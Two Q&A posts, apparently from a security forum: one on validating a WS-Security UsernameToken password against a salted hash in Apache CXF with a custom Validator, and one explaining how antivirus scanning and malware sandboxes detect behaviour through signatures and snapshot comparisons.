Now the problem I'm facing is that I cannot seem to find a way to hash the plaintext password from the request security header on our end, match it against our records along with the username and authorise or decline the request.

Every single guide, tutorial or example project I've found so far relies on a CallbackHandler configured as input interceptor, which requires retrieving the correct plaintext password, which is then matched against the supplied credentials directly. Not an option if we only store the hash.
A couple of sources I came across that were trying to solve similar problems merely recommended to force the client to do the hashing. But as I stated above, this is not possible in our case. The service specifications are clear on the matter and it's out of our hands.

This particularly interesting sounding thread sadly didn't help me either:
How to implement WSS UsernameToken when password on the server is salted and hashed?

Surely there must be another way than a WSS4JInInterceptor/CallbackHandler, one that will allow me to digest the received plaintext password and check it against the salted hash in our database.

Any pointers would really be greatly appreciated.
Thanks.

Thanks to Ivan Brencsics from the CXF mailing list for providing this hint. He writes:

If I understand correctly your question, your problem is that you dont [can't]
access the password in the CallbackHandler, so you cannot hash it and
compare it with the database.

I ran into the same problem recently, and I solved it by registering an
org.apache.ws.security.validate.Validator instead of a CallbackHandler.

So for instance:

<jaxws:endpoint ...>
  <jaxws:properties>
    <entry key="ws-security.ut.validator" value-ref="sqlTokenValidator"/>
  </jaxws:properties>
</jaxws:endpoint>
...
<bean id="sqlTokenValidator" class="org.my.SqlTokenValidator"/>

and finally SqlTokenValidator:

public class SqlTokenValidator implements org.apache.ws.security.validate.Validator {

@Override
public Credential validate(Credential credential, RequestData data)
throws WSSecurityException {
    ...
    UsernameToken usernameToken = credential.getUsernametoken();

    String username = usernameToken.getName();
    String password = usernameToken.getPassword();

   ... hash the password
   ... sql_auth(username, hash password)
   ... if failed throw new WSSecurityException(WSSecurityException.FAILED_AUTHENTICATION);

    return credential;
}

Oh and thanks to Polynomial for suggesting I check out the CXF mailing list.
Still don't quite see the appeal of mailing lists over a proper forum ;)


How does Antivirus sandbox work? Supposing we have a malicious .EXE which deletes (using DEL command with cmd) a sensitive system file.

First, common antivirus will analysis the file with signature detection.

Secondly, it will be sandboxed at runtime by the antivirus.

How does the antivirus sandbox it?
Does he "trace" it by using a "ptrace like command" on Windows and stop the malicious .EXE from using DEL?
Or does it stop the OS from making the associated process and run the malicious .EXE on a tiny virtual machine with a tiny specific OS?

Sandboxes and AntiVirus are two separate things. AV scans a file and typically checks for "known knowns" (signatures) and heuristics of a file, whereas a sandbox executes a file in an isolated environment. As Schroeder stated sandboxes work differently depending on what Sandbox you're running.

A typical sandbox will take a snapshot of processes, connections, threads, registry prior to running a sample, run the sample, re-take a snapshot of the processes, threads, etc., and compare the differences. The differences are then reported to you. This is the most optimal method of determining what is going on. Malicious software (if run with escalated privileges) can (sometimes) do anything an administrator can do. This means the software can modify event logs, erase files, hide connections/software, etc. With "snapshots" most sandboxes can show you the differences (before and after). HOW AV does it depends on the software, the gist is the same (comparisons)